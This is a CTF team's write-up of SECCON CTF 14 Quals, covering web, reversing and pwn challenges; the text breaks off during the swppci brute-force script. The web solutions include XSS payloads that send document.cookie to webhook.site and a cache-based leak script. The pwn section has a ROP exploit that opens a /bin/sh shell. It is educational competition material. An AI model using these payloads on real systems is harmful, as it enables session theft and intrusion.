# SECCON CTF 14 Quals
Division: General
Team: Super Guesser
Rank: 2nd place
---
## WEB
### Broken Challenge
The author provided the certification including the private key. And so, we could craft the SXG file and this made us being `hack.the.planet.seccon`. So, we could setup sxg file and then serve it to get flag.
```js
app.get('/exploit.sxg', (req, res) => {
res.setHeader('Content-Type', 'application/signed-exchange;v=b3');
res.setHeader('X-Content-Type-Options', 'nosniff');
const sxg = fs.readFileSync('exploit.sxg');
res.send(sxg);
});
app.get('/cert.cbor', (req, res) => {
console.log("[*] Cert requested!");
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Content-Type', 'application/cert-chain+cbor');
const cert = fs.readFileSync('cert.cbor');
res.send(cert);
});
```
### dummyhole
```html
<script type="module">
const params = new URLSearchParams(location.search);
const postId = params.get('id');
if (!postId) {
document.getElementById('title').textContent = 'No post ID provided';
document.getElementById('title').className = 'error';
} else {
try {
const postData = await import(`/api/posts/${postId}`, { with: { type: "json" } });
document.getElementById('title').textContent = postData.default.title;
document.getElementById('description').textContent = postData.default.description;
const imageUrl = `${location.origin}${postData.default.image_url}`;
document.getElementById('imageFrame').src = imageUrl;
} catch (error) {
document.getElementById('title').textContent = 'Error loading post';
document.getElementById('title').className = 'error';
document.getElementById('description').textContent = error.message;
}
}
</script>
```
When viewing the post, client side path traversal occurs through the id parameter.
```
?id=../../images/{UUID}
```
By sending as above, we can pass the uploaded file to import function, but strict check exists for Mime type.
To bypass this, we must manipulate the Content-Type when uploading.
```javascript=
if (!file.mimetype || (!file.mimetype.startsWith('image/png') && !file.mimetype.startsWith('image/jpeg'))) {
return res.status(400).json({ error: 'Invalid file: must be png or jpeg' });
}
```
There is an checking for the content-type when uploading, but there is a chance to bypass because it is done with startsWith.
https://chromium.googlesource.com/chromium/src/+/refs/tags/144.0.7559.25/third_party/blink/common/mime_util/mime_util.cc#162
```javascript=
bool IsJSONMimeType(std::string_view mime_type) {
if (net::MatchesMimeType("application/json", mime_type) ||
net::MatchesMimeType("text/json", mime_type)) {
return true;
}
const net::MimeTypeValidationLevel level =
base::FeatureList::IsEnabled(
blink::features::kStrictJsonMimeTypeTokenValidation)
? net::MimeTypeValidationLevel::kWildcardSlashAndTokens
: net::MimeTypeValidationLevel::kWildcardSlashOnly;
return net::MatchesMimeType("*+json", mime_type, level);
}
```
In chromium, when checking mime type, `*+json` is used.
In other words, the following types can also be recognized as json.
```
image/png*+json
```
Now we can control title, description, and image_url(we can control iframe-src!!).
```html
<script>
setTimeout(() => {
const fallbackUrl = decodeURIComponent("<FALLBACK_URL>");
if(!fallbackUrl) {
location.href = "/";
return;
}
location.href = fallbackUrl;
}, 5000);
const postId = decodeURIComponent("<POST_ID>");
location.href = postId ? `/posts/?id=${postId}` : "/";
</script>
```
In logout.html, if we can manipulate FALLBACK_URL, we can get XSS.
```javascript
app.post('/logout', requireAuth, (req, res) => {
const sessionId = req.cookies.session;
sessions.delete(sessionId);
res.clearCookie('session');
const post_id = req.body.post_id?.length <= 128 ? req.body.post_id : '';
const fallback_url = req.body.fallback_url?.length <= 128 ? req.body.fallback_url : '';
const logoutPage = path.join(__dirname, 'public', 'logout.html');
const logoutPageContent = fs.readFileSync(logoutPage, 'utf-8')
.replace('<POST_ID>', encodeURIComponent(post_id))
.replace('<FALLBACK_URL>', encodeURIComponent(fallback_url));
res.send(logoutPageContent);
});
```
we need to send POST request, and our iframe currently has credentialless flag, but this can be solved simply by opening a new window and submitting form from that window.
And the part that automatically redirected to `/` could be solved with the idea of @Renwa.
It was enough to simply send`<\t` as id.
#### Exploit
Payload 1
```html
<script>
window.open('http://web.vuln.live/seccon/exp2.html');
</script>
```
Payload 2
```html
<body>
<form action="http://web/logout" accept-charset="ISO-8859-1" method="POST" id="auto-form">
<input type="hidden" name="post_id" value="<	">
<input type="hidden" name="fallback_url" value="javascript:navigator.sendBeacon('https://webhook.site/de06587a-d02d-4170-98f2-13485d92434b',document.cookie)">
<input type="submit" value="Logout">
</form>
<script>document.getElementById('auto-form').submit();</script>
</body>
```
Upload packet
```
POST /upload HTTP/1.1
Host: dummyhole.seccon.games
Content-Length: 386
Accept-Language: ko-KR,ko;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0pXDwC8h0cGlA0B4
Accept: */*
Origin: http://dummyhole.seccon.games
Referer: http://dummyhole.seccon.games/upload
Accept-Encoding: gzip, deflate, br
Cookie: session=b14beb51-6ed6-431a-8f13-0d47ba6cdadd
Connection: keep-alive
------WebKitFormBoundary0pXDwC8h0cGlA0B4
Content-Disposition: form-data; name="title"
asdf
------WebKitFormBoundary0pXDwC8h0cGlA0B4
Content-Disposition: form-data; name="description"
ff
------WebKitFormBoundary0pXDwC8h0cGlA0B4
Content-Disposition: form-data; name="image"; filename="asdf.png"
Content-Type: image/png*+json
{
"title": "test",
"description": "test",
"image_url": ".vuln.live/seccon/exp.html"
}
------WebKitFormBoundary0pXDwC8h0cGlA0B4--
```
FLAG: `SECCON{why_c4nt_we_eat_the_d0nut_h0le}`
### framed-xss
assuming we want to open `http://web:3000/view?html=<script>alert()</script>` in a tab instead of sandboxed iframe we do:
- prepare a page that returns a resonse or returns a redirect to `http://web:3000/view?html=<script>alert()</script>` based on a variable. before reporting, we set it to false. bot lands here. Also the page should be served with `Cache-Control: no-store` to prevent caching.
- open `http://web:3000/?html=<script>alert()</script>` in a new window. This pushes a cache for `http://web:3000/view?html=<script>alert()</script>` into chrome's disk cache.
- open a window to a page that does `opener.history.back()` after a few seconds.
- change the preivous variable to `true` and navigate the main page to `about:blank`.
- after a few seconds, the main page navigates back and it pulls `http://web:3000/view?html=<script>alert()</script>` from the cache and renders it.
```js
const express = require("express");
const app = express();
let flag = false;
let payload = 'http://web:3000/view?html='+(encodeURIComponent('<script>fetch(`https://webhook.site/13428b31-3e2b-4471-931a-dda784e01e15?cookie=${document.cookie}`)<\/script>fffff'))
app.get("/set", (req, res) => {
flag = req.query.value === "true";
res.send("ok");
});
app.get("/exp", (req, res) => {
res.set('Cache-Control','no-store')
if (flag) {
res.redirect(payload);
} else
res.send(`
<script>
let x = window.open('/second')
fetch('/set?value=true')
window.open(\`http://web:3000/?html=\${encodeURIComponent('<script>fetch(\\\`https://webhook.site/13428b31-3e2b-4471-931a-dda784e01e15?cookie=\${document.cookie}\\\`)<\\/script>fffff')}\`)
setTimeout(_=>location = 'about:blank',2000)
</script>
`)
});
app.get('/second',(req,res)=>{
res.send(`<script>
setTimeout(_=>opener.history.back(),3000)
</script>`)
})
app.listen(3000);
```
### impossible-leak
The admin bot creates a new browsing context with `createBrowsingContext()` and uses that to create a page. Each browsing context should have a dedicated disk cache but how does chrome handle this? I deduced that it uses in-memory disk cache and it's much smaller than the default on-disk disk cache. The incognito tab of my browser has the same behavior.
The exploit uses the following strategy:
- push 1 entry of size 1b
- push 49 entries of size 5mb
- push 599 entries of size 1kb
- push `//challenge.com/search?query=SECCON&i` for `i` from 0 to 200 with window.location
- query the disk cache to see if the first entry we pushed is purged
We essentially "groom" the disk cache so that there's room for 200 entries from failed queries, but not enough room for 200 entries from successful queries.
The search page size is 433 bytes for a failed query and 433 + flag.length bytes when the query matches part of the flag. This creates a size difference of flag.length * 200 bytes between bad and good searches. For a flag length of 24, this is about 5KB. A larger gap makes the detection less error prone.
We can tell whether the cache was filled by a successful query by probing the first inserted 1 byte entry. When the cache limit is reached, the first entry gets evicted. Note that I think Chromium's eviction logic is more complex. in my testing it kept evicting the oldest entry once the limit is hit.
To leak whether the first char of flag is `a` or not, the bot should visit: `http://x.x.x.x:5000/?prefix=SECCON&check=a`
```js
const express = require("express");
const app = express();
const port = 3008;
app.use(express.json());
app.get("/gg", (req, res) => {
res.send(`A`.repeat((1*1024*1024)))
});
app.get("/rr", (req, res) => {
res.send(`A`.repeat(1))
});
app.get("/vaaa", (req, res) => {
console.log(req.query)
res.send(`A`.repeat(1024))
});
app.get("/", (req, res) => {
if(!req.query.prefix || !req.query.check) return res.send('no')
console.log('bot')
res.send(`
<script>
let x = window.open()
const flag = '${req.query.prefix}'
const check = '${req.query.check}'
async function df(){
console.log('doing')
await fetch('/rr',{cache:'force-cache'})
for(i=0;i<49;i++) fetch('http://xxx.xx.xxx.xx:5000/gg?'+i+'&'+'A'.repeat(52-flag.length),{cache:'force-cache'})
for(i=0;i<599;i++) fetch('http://xxx.xx.xxx.xx:5000/vaaa?'+i+'&'+'A'.repeat(52-flag.length),{cache:'force-cache'})
await new Promise(r => setTimeout(r, 10000)); // sleeps for 1 second
for(i=0;i<200;i++){
let u = 'http://web:3000/?query='+flag+check+'&'+i+'&'
x.location = u.padEnd(87,'A')
await new Promise(r => setTimeout(r, 30)); // sleeps for 1 second
}
try{
await fetch('/rr',{cache: 'only-if-cached', mode: 'same-origin' })
fetch('https://webhook.site/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?not-correct-${req.query.prefix+req.query.check}')
} catch(e){
fetch('https://webhook.site/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?found-${req.query.prefix+req.query.check}')
}
console.log('done')
}
df()
</script>
`)
});
app.listen(5000)
```
---
## REV
### breaking out
```js
this[_0x361c8d(0x235)][_0x361c8d(0x27a)][_0x361c8d(0x215)](_0x3e5a6f, !![]), _0x3e5a6f[_0x361c8d(0x1e1)][_0x361c8d(0x1c1)]();
const _0x4c8df5 = {};
_0x4c8df5[_0x361c8d(0x1e0)] = _0x500b0d;
_0x4c8df5[_0x361c8d(0x200)] = _0x56440d;
_0x3e5a6f[_0x361c8d(0x1b1)] = _0x4c8df5;
_0x3e5a6f[_0x361c8d(0x1de)] = () => this[_0x361c8d(0x1eb)](_0x3e5a6f, _0x2fb287, _0x500b0d, _0x56440d);
this[_0x361c8d(0x1f6)][_0x361c8d(0x27a)](_0x3e5a6f);
hit_funcs.push(_0x3e5a6f[_0x361c8d(0x1de)]);
// _0x3e5a6f[_0x361c8d(0x1de)]();
}
}
```
Even without deobfuscation, we can tell it's a web game built with phaser.js.
As the description suggests, level 100 has special content.
By forcibly calling the hit event handler function that destroys each block, we can clear the stage by destroying all blocks without having to play.
Since obfuscation is easy, forcibly calling all the event handlers for destroying blocks and examining the decrypted JSON data reveals a message consisting solely of "." and "X" after level 100.
if we think of . as a space and X as a filled area and replace them, we can get a QR code, and if we interpret the QR code, we can get a flag.
```SECCON{H4ve_y0u_3ver_p14yed_Atari?_SQiOIVX6HPtRekE1vTn4}```
### Ez Flag Checker
We can simply reverse `sigma_encrypt` function. However, sigma_words content will be changed by relocation.
```text
Elf64_Rela <4014h, 20h, 3320626Eh> ; R_X86_64_SIZE32 +3320626Eh
```
So we should use `sigma_words[5] = 0x62` instead of `0x64`.
```python
flag_enc = [0x03, 0x15, 0x13, 0x03, 0x11, 0x55, 0x1F, 0x43,
0x63, 0x61, 0x59, 0xEF, 0xBC, 0x10, 0x1F, 0x43, 0x54, 0xA8]
sigma_words = [0x65, 0x78, 0x70, 0x61, 0x62, 0x20, 0x33, 0x32, 0x2D, 0x62, 0x79, 0x74, 0x65, 0x20, 0x6B]
key_bytes = []
flag = []
for i in range(len(flag_enc)):
flag.append(flag_enc[i] ^ ((i + key_bytes[i & 0xF]) & 0xFF))
print(bytes(flag))
```
FLAG: `SECCON{flagc29yYW5k<b19!!}`
### Crown Flash
This binary uses Xbyak JIT assembler.
```c
sub_2A1A00(&unk_382200, "Flag: ", 6);
(sub_2A1630)(&unk_382200);
v15 = (sub_35A400)(a3, 1, 30000);
if ( !v15 )
{
sub_2A1A00(&unk_382200, "Too slow!", 9);
LABEL_8:
sub_242D10(&unk_382200);
goto LABEL_9;
}
if ( v15 < 0 )
{
(sub_2EC8C0)("poll");
goto LABEL_9;
}
v17 = (sub_2A3A20)(&unk_382320, &v18);
if ( (*(v17 + *(*v17 - 24LL) + 32) & 5) == 0 )
{
if ( v19 != 37 )
{
sub_2A1A00(&unk_382200, "Wrong", 5);
goto LABEL_8;
}
(sub_24EE10)(v21, v16); // generate JITed code
if ( (v21[19])(v18, v19, &unk_21EDA0) == 1 )// run
sub_2A1A00(&unk_382200, "Correct!", 8);
else
sub_2A1A00(&unk_382200, "Wrong", 5);
sub_242D10(&unk_382200);
v21[0] = off_3750D0;
(sub_2453E0)(&v22);
(sub_243160)(v21);
```
Instead of looking `sub_24EE10`, we can see the generated code using dynamic analysis.
```
0x7ffff7ff8000: push r12
0x7ffff7ff8002: push r13
0x7ffff7ff8004: push r14
0x7ffff7ff8006: push r15
0x7ffff7ff8008: mov r13d, <random value>
0x7ffff7ff800e: mov eax,0x72616e64
0x7ffff7ff8013: xor ecx,ecx
0x7ffff7ff8015: lea r12,[rip+0xb4] # 0x7ffff7ff80d0
0x7ffff7ff801c: cmp rcx,rsi
0x7ffff7ff801f: je 0x7ffff7ff80b6
0x7ffff7ff8025: movzx r8d,BYTE PTR [rdi+rcx1]
0x7ffff7ff802a: mov r9d,ecx
0x7ffff7ff802d: and r9d,0x3
0x7ffff7ff8031: movzx r9d,BYTE PTR [r12+r91]
0x7ffff7ff8036: xor r8d,r9d
0x7ffff7ff8039: mov r9d,ecx
0x7ffff7ff803c: imul r9d,r9d,0x9e3779b9
0x7ffff7ff8043: add r8d,r9d
0x7ffff7ff8046: add eax,r8d
0x7ffff7ff8049: imul eax,eax,0x45d9f3b
0x7ffff7ff804f: mov r10d,eax
0x7ffff7ff8052: shl r10d,0x7
0x7ffff7ff8056: mov r11d,eax
0x7ffff7ff8059: shr r11d,0x19
0x7ffff7ff805d: or r10d,r11d
0x7ffff7ff8060: add eax,r10d
0x7ffff7ff8063: mov r11d,eax
0x7ffff7ff8066: shr r11d,0x10
0x7ffff7ff806a: xor r11d,eax
0x7ffff7ff806d: mov r14d,ecx
0x7ffff7ff8070: inc r14d
0x7ffff7ff8073: imul r14d,r14d,0x7ed55d16
0x7ffff7ff807a: add r14d,0xc761c23c
0x7ffff7ff8081: mov r9d,DWORD PTR [rdx+rcx*4]
0x7ffff7ff8085: xor r9d,r14d
0x7ffff7ff8088: test r13d,0x80000000
0x7ffff7ff808f: je 0x7ffff7ff80a5
0x7ffff7ff8095: mov r15d,ecx
0x7ffff7ff8098: imul r15d,r15d,0x632be5c9
0x7ffff7ff809f: xor r15d,r13d
0x7ffff7ff80a2: add r11d,r15d
0x7ffff7ff80a5: cmp r11d,r9d
0x7ffff7ff80a8: jne 0x7ffff7ff80c0
0x7ffff7ff80ae: inc rcx
0x7ffff7ff80b1: jmp 0x7ffff7ff801c
0x7ffff7ff80b6: mov eax,0x1
0x7ffff7ff80bb: jmp 0x7ffff7ff80c7
0x7ffff7ff80c0: xor eax,eax
0x7ffff7ff80c2: jmp 0x7ffff7ff80c7
0x7ffff7ff80c7: pop r15
0x7ffff7ff80c9: pop r14
0x7ffff7ff80cb: pop r13
0x7ffff7ff80cd: pop r12
0x7ffff7ff80cf: ret
```
`r13` is set differently in each execution while debugging, but we can find it by knwon input. After that we can bruteforce each byte to find correct input.
```python
def recover_input(expected, length=37):
r13 = 0
key = [0x42, 0x19, 0x66, 0x99]
input_bytes = []
accumulated_eax = 0x72616e64
for rcx in range(length):
found = False
for candidate_byte in range(256):
temp_eax = accumulated_eax
r8 = candidate_byte
r9_idx = rcx & 0x3
r9 = key[r9_idx]
r8 ^= r9
r9_mult = (rcx * 0x9e3779b9) & 0xffffffff
r8 = (r8 + r9_mult) & 0xffffffff
temp_eax = (temp_eax + r8) & 0xffffffff
temp_eax = (temp_eax * 0x45d9f3b) & 0xffffffff
r10 = (temp_eax << 7) & 0xffffffff
r11 = temp_eax >> 25
r10 |= r11
temp_eax = (temp_eax + r10) & 0xffffffff
r11 = (temp_eax >> 16) & 0xffffffff
r11 ^= temp_eax
r11 &= 0xffffffff
r14 = ((rcx + 1) * 0x7ed55d16) & 0xffffffff
r14 = (r14 + 0xc761c23c) & 0xffffffff
if r13 & 0x80000000:
r15 = (rcx * 0x632be5c9) & 0xffffffff
r15 ^= r13
r15 &= 0xffffffff
r11 = (r11 + r15) & 0xffffffff
r9_expected = expected[rcx] & 0xffffffff
r9_expected ^= r14
r9_expected &= 0xffffffff
if r11 == r9_expected:
input_bytes.append(candidate_byte)
accumulated_eax = temp_eax
found = True
print(f"Position {rcx}: found byte 0x{candidate_byte:02x} ('{chr(candidate_byte) if 32 <= candidate_byte < 127 else '?'}')")
break
if not found:
print(f"Position {rcx}: NOT FOUND!")
return None
return bytes(input_bytes)
expected = [1519851539, 2782015072, 929313778, 3535876273, 1361408542, 1872277834, 2333036956, 1891994566, 1573528577, 681844225, 2974566345, 3572253441, 2026543873, 3538398985, 1516269594, 2424636223, 1821176531, 3351771238, 814639659, 3582187538, 2339991906, 3031919403, 2793879222, 1578053261, 2701075737, 1498387334, 1392083243, 1417685259, 3618741354, 599239661, 3927490180, 3306086824, 2783120063, 1005389262, 2181376104, 2744320562, 1777904443]
result = recover_input(expected, length=37)
print(result)
```
FLAG: `SECCON{good->sPLqsLsooJY,EFwBU8Std7Y}`
### mini bloat
#### 1. Challenge Overview
- **Source**: SECCON 2025 Advent of CTF – `mini_bloat` puzzle set (q1–q25).
- **Input format**: each `q*.txt` file lists 6–8 huge JavaScript expressions over `x` (0 ≤ x ≤ 2^32−1); every expression evaluates to `=== 1` only for the correct `x`.
- **Key property**: the expressions mix JS 32-bit bitwise ops (`| & ^ ~ << >>>`) with arithmetic. Manual reasoning is impractical, so automation is mandatory.
#### 2. Approach Summary
1. **Reuse the existing parser**: `solve_mini_bloat.py` already tokenizes and converts the JS expressions to RPN, so we import those helpers to avoid transcription mistakes and keep operator semantics identical to JS.
2. **Model in Z3**: convert each expression into SMT constraints. Default mode uses 32-bit BitVec (`bv32`); a slower JS-Int mode (`jsint`) remains available for tricky cases.
3. **Sanity-check**: every model is re-run through the original JS-style evaluator (`eval_rpn`) to guarantee the solver’s answer matches the true semantics.
4. **Batch automation**: enhance `solve_q1_z3.py` so it sweeps all `q*.txt`, prints solutions, and writes them to `q_solutions_z3.txt`. Tuning knobs: `--mode`, `--timeout-ms`, `--fallback-timeout-ms`, `--max-models`, `--no-sanity`.
5. **Modify Frontend Code**: Frontend code blocked Q13~Q25 and submit until Dec. 25, so just modify `page-fdcc665989738875.js`.
#### 3. Pipeline Details
| Step | Description | Notes |
| --- | --- | --- |
| Parsing | `tokenize()` → `to_rpn()` | Proven parser; no need to reimplement operator precedence |
| Z3 conversion | `_eval_rpn_to_z3_bv32` / `_eval_rpn_to_z3_jsint` | Choose BitVec-only or JS-Int mixed model per file |
| Constraint setup | Force each expression to become Bool (`=== 1`) | Clamp `x` to `0 ≤ x ≤ 0xffffffff` |
| Solving | `s.check()` loop | Use `--max-models` plus `x != model` to enumerate more roots |
| Sanity | `eval_rpn(rpn, x_val)` | Verifies solver output equals the JS evaluator |
| Reporting | `q_solutions_z3.txt` | Stores decimal, hex, solver mode, sanity status |
#### 4. Performance Notes
- **Issue**: the first attempt used JS Int ↔ BitVec conversions (`Int2BV/BV2Int`) everywhere, which scaled poorly once dozens of q-files were queued.
- **Fix**: default to the pure 32-bit BitVec model (`bv32`) and only fall back to the JS-Int model when timeouts or sanity failures appear (`--mode auto`).
- **Extras**: filter targets with `^q(\d+)\.txt$` so the output file `q_solutions_z3.txt` is never mistaken for an input puzzle.
#### 5. Usage
```powershell
# Solve every q*.txt (q1–q25)
py -3 .\mini_bloat\solve_q1_z3.py --mode auto --timeout-ms 3000 --fallback-timeout-ms 10000
# Solve a slice (example: q10–q18)
py -3 .\mini_bloat\solve_q1_z3.py q1[0-8].txt --mode auto
# Fast run without sanity checks
py -3 .\mini_bloat\solve_q1_z3.py --no-sanity --mode bv32
```
Results go to both the console and `mini_bloat/q_solutions_z3.txt`.
#### 6. Results (q1–q25)
| File | x_dec | x_hex |
| --- | ---: | --- |
| q1 | 1559119409 | 0x5cee4631 |
| q2 | 2281820615 | 0x8801d1c7 |
| q3 | 3413531028 | 0xcb765994 |
| q4 | 3436485615 | 0xccd49bef |
| q5 | 2829004470 | 0xa89f2eb6 |
| q6 | 1389400533 | 0x52d091d5 |
| q7 | 1070462966 | 0x3fcdf7f6 |
| q8 | 2534665693 | 0x9713eddd |
| q9 | 305368212 | 0x12338c94 |
| q10 | 4270731763 | 0xfe8e31f3 |
| q11 | 1024060755 | 0x3d09ed53 |
| q12 | 3944557506 | 0xeb1d2bc2 |
| q13 | 493359155 | 0x1d681033 |
| q14 | 2601114477 | 0x9b09db6d |
| q15 | 2712755675 | 0xa1b15ddb |
| q16 | 3463169353 | 0xce6bc549 |
| q17 | 1603909851 | 0x5f99b8db |
| q18 | 3354656626 | 0xc7f3ff72 |
| q19 | 2291380519 | 0x8893b127 |
| q20 | 3228661065 | 0xc0717549 |
| q21 | 4045939578 | 0xf128237a |
| q22 | 2428467629 | 0x90bf79ad |
| q23 | 3990651856 | 0xeddc83d0 |
| q24 | 2239715624 | 0x857f5928 |
| q25 | 3534079978 | 0xd2a5c7ea |
All files solved directly in `mode=bv32` with `sanity=True`, so the JS evaluator agrees with every model.
---
*Environment: Windows 10, PowerShell, Python 3.12 (`py -3`).*
[solve.py](https://gist.github.com/JaewookYou/90889c2f10e3c243c395a052368cee95)
[solve_mini_bloat.py](https://gist.github.com/JaewookYou/24c977438a56d744c9d7c6da6536ed8b)
### gyokuto
#### Summary (≤5 lines)
- `gyokuto` reads `flag.txt` at runtime and produces a **huge `output.bin` (78.4MB)**.
- `output.bin` is **392 chunks × 200,000 bytes**, and **each chunk encodes 1 bit** of the flag.
- Each chunk uses **FSK (frequency, k=1..8)** + **BPSK (phase 0/π)**, but the bit is **masked by xorshift128 LSB (XOR)**.
- By recovering the PRNG state from the frequency (3 bits per chunk) via **GF(2) linear algebra**, you can remove the mask and recover the flag.
- Final recovered `flag.txt` bytes: **`]SECCON{R4bb1ts_h0p_0N_Th3_M00N_auRVXwxg5iIFJ0eM}`**
(The actual submission flag is the substring: **`SECCON{R4bb1ts_h0p_0N_Th3_M00N_auRVXwxg5iIFJ0eM}`**)
---
#### Body (structured)
##### 1) Finding where `output.bin` is created
- In IDA, `main` is essentially:
- `gen_output_from_flag()` → build the output buffer
- `write_buffer_to_file_utf16name("output.bin", buf)` → write it to disk
- The `"output.bin"` literal is stored as **UTF‑16LE** in `.rodata`, so you may not see a direct string Xref in some views.
##### 2) File I/O and input (`flag.txt`)
- `read_flag_txt_bytes`:
- `fopen("flag.txt", "rb")`
- `fread_chk_wrapper` in a loop into a runtime buffer (stops around ~4096 bytes)
- The returned bytes feed the generator
##### 3) `output.bin` format: it is raw PCM-like waveform data
- Size of the generated `output.bin`:
- 78,400,000 bytes
- It splits cleanly into:
- 78,400,000 / 200,000 = **392 chunks**
- 200,000 bytes = 100,000 × `int16` (little-endian) samples → **PCM sample stream**
- Therefore:
- **392 bits = 49 bytes**, matching the `flag.txt` length
##### 4) How one chunk encodes a bit (FSK + BPSK)
- The chunk generator (`append_pcm_chunk_bpsk_fsk`) produces a cosine waveform:
- sample index \(n = 0..99999\)
- frequency index \(k \in \{1..8\}\)
- phase \(\phi \in \{0, \pi\}\)
- conceptually:
```text
sample[n] ≈ envelope(n) * 0.125 * cos( φ + 2π * k * (n/20) ) + noise
```
- Notes:
- **FSK (Frequency Shift Keying)**: k (1..8) carries 3 bits of information
- **BPSK (Binary Phase Shift Keying)**: \(\phi=0\) vs \(\pi\) carries 1 bit (sign flip)
- Noise comes from `randn_box_muller` (Gaussian noise)
##### 5) Why “just read the phase bit” is not enough: PRNG masking
- The phase bit is not the raw flag bit; it is masked:
```text
tx_bit = flag_bit XOR mask_bit
mask_bit = (xorshift128 output) & 1
```
- So, decoding the waveform gives you `tx_bit`. Without `mask_bit`, you cannot directly obtain the flag.
##### 6) PRNG structure: xorshift128 + “leaking 3 bits via the frequency”
- The PRNG is xorshift128-like, and each step uses only `new_w & 1`.
- Per chunk (key observation):
- `xorshift128_nextbits_lsb(state, 3)` advances the PRNG 3 times and packs three LSBs into an integer 0..7.
- This integer becomes the **FSK frequency index**, so it is observable from the waveform.
- Then the PRNG advances once more and uses the resulting LSB as `mask_bit`.
- Therefore, for chunk i:
- steps \(4i+0, 4i+1, 4i+2\) are observable (frequency)
- step \(4i+3\) is the unobserved mask bit
##### 7) Recovering the PRNG state: solve a GF(2) linear system for 128-bit state
- xorshift128 is linear over GF(2).
- Treat the initial 128 state bits as unknowns.
- Each output LSB becomes a linear function of those unknowns.
- Observations:
- 392 chunks × 3 bits = **1176 linear equations**
- Unknowns:
- \(x,y,z,w\) = 4×32 = **128 bits**
- Since 1176 ≥ 128, the state is typically uniquely determined.
- After recovering the state:
- reproduce the PRNG and compute `mask_bit` at step \(4i+3\)
- recover `flag_bit = tx_bit XOR mask_bit`
- pack 392 bits MSB-first into 49 bytes
---
#### Execution / Verification
##### Environment
- OS: Windows 10 (PowerShell)
- Python: 3.11+ (standard library only)
##### Provided solver
- `gyokuto/solve_gyokuto.py`
##### Run
From the repository root:
```powershell
python gyokuto\solve_gyokuto.py --analyze-samples 5000
```
##### Output (recovered `flag.txt`)
```text
]SECCON{R4bb1ts_h0p_0N_Th3_M00N_auRVXwxg5iIFJ0eM}
```
[solve_gyokuto.py](https://gist.github.com/JaewookYou/5ed7687fc080744277d0202b75031b06)
### aeppel
There is a disassembler of apple script https://github.com/Jinmo/applescript-disassembler
But when we run this, we get some error.
So we need to fix some codes.
1.`applescript-disassembler/engine/runtimeobjects.py`
```python=
def parse_value(t, value):
if t is None:
return f"UNKNOWN_TYPE(None): {value}"
if not callable(t):
return f"RAW_VALUE(Handler={t}): {value}"
try:
if isinstance(value, tuple):
return t(*value)
return t(value)
except Exception as e:
return f"PARSE_ERROR({e}): {value}"
```
2.`applescript-disassembler/disassembler.py`
```python=
def literal(x):
if x < 0 or x >= len(literals):
return f"<IndexError: literal[{x}]>"
return literals[x]
```
Then we can get disassembled codes.
```python=
def solve_flag():
target_bytes = [
0x72, 0x83, 0x7f, 0x7d, 0x78, 0x82, 0x74, 0x85,
0x78, 0x81, 0x87, 0x75, 0x86, 0x81, 0x4b, 0x44
]
decoded_chars = []
for i in range(len(target_bytes)):
apple_script_index = i + 1
shift_dynamic = (((apple_script_index % 3) + 1) * 13) % 11
total_offset = 13 + shift_dynamic
original_char_code = target_bytes[i] - total_offset
decoded_chars.append(chr(original_char_code))
internal_string = "".join(decoded_chars)
flag = f"SECCON{{{internal_string}}}"
return flag
if __name__ == "__main__":
flag = solve_flag()
print(f"Decoded Flag: {flag}")
```
and this is analyzed solve code.
`SECCON{applescriptfun<3}`
---
## PWN
### unserialize
```c
tmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0));
size_t sz = strtoul(szbuf, NULL, 10);
```
Obtain a shell by triggering a stack overflow due to discrepancies in how strtoul performs conversions.
```python
from pwn import *
#p = remote("127.0.0.1",5000)
p = remote("unserialize.seccon.games",5000)
prdiprbp = 0x0000000000402418
prsi = 0x000000000043617e
rdxg = 0x0000000000487320 #: mov rdx, qword ptr [rsi] ; mov qword ptr [rdi], rdx ; ret
prax = 0x00000000004303ab
bopen = 0x00428370
bread = 0x00428490
bwrite = 0x428530
def convert(num):
ret = ''
orig = hex(num)[2:]
for x in range(len(orig)//2):
ret += orig[len(orig)-(2*(x+1)):len(orig)-(2*(x))]
return ret.ljust(16,"0")
print(convert(prsi))
binshaddr = 0x4ca010
payload = "04294967297:"
payload += "41"*0x48
payload += "40a44c0000000000"
payload += "41"*0x8
payload += "a7"
payload += convert(prsi)
payload += convert(binshaddr)
payload += convert(prdiprbp)
payload += convert(binshaddr)
payload += convert(binshaddr)
payload += convert(rdxg)
payload += convert(prdiprbp)
payload += convert(0)
payload += convert(binshaddr)
payload += convert(bread)
payload += convert(prsi)
payload += convert(binshaddr-0x10)
payload += convert(prdiprbp)
payload += convert(binshaddr-0x10)
payload += convert(binshaddr)
payload += convert(rdxg)
payload += convert(prsi)
payload += convert(0)
payload += convert(prdiprbp)
payload += convert(binshaddr)
payload += convert(binshaddr)
payload += convert(prax)
payload += convert(0x3b)
payload += convert(0x0000000000401364)
payload += "-"
pause()
p.sendline(payload)
sleep(2)
p.send("/bin/sh\x00")
p.interactive()
```
---
### swppci
there's a TOCTOU vuln in the driver. `s->storage` is saved as a local variable and is used in the DMA loop while there's no gurantee that `s->size` and `s->storage` are not changing while the dma loop is running. This gives us a primitive to overflow our mmap'ed section which is kinda hard to exploit. The good thing is that the author doesn't munmap sections when reallocating `s->storage` to lower the chances of segfault while doing the race condition. We used e1000 to get a achive race. The exploit strategy is that we compute the difference between rwx region and it's previous region, and then groom the heap by allocating many regions with exact the same difference size but 0x1000 more. After doing many allocations, there's a high chance that allocating the exact difference size falls right before the rwx region and we can write shellcode at the rwx region which QEMU executes at some point.
The size of the unmapped memory between rwx region and its previous region was different on remote when we tried our exploit so we had to do bruteforce the size of this region. Since we don't crash on a guess which is higher than the exact size, we can groom the heap and then keep subtracting 0x1000 from the size and do the exploit again.
Brute force script
```python=
#!/usr/bin/python3
from pwn import *
import multiprocessing
import tempfile
import subprocess
import shutil
import os
import random
import sys
context.log_level = "error"
def send_command(p, cmd):
p.sendlineafter(b"#", cmd.encode())
p.recvuntil(b"#")
p.unrecv(b"#")
def send_file(p, src, dst):
data = read(src)
b64 = b64e(data)
send_command(p, f"rm -f {dst}.b64")
send_command(p, f"rm -f {dst}")
size = 800
for i in range(len(b64)//size + 1):
chunk = b64[i*size:(i+1)*size]
if chunk:
send_command(p, f"echo -n '{chunk}' >> {dst}.b64")
send_command(p, f"cat {dst}.b64 | base64 -d > {dst}")
send_command(p, f"chmod +x {dst}")
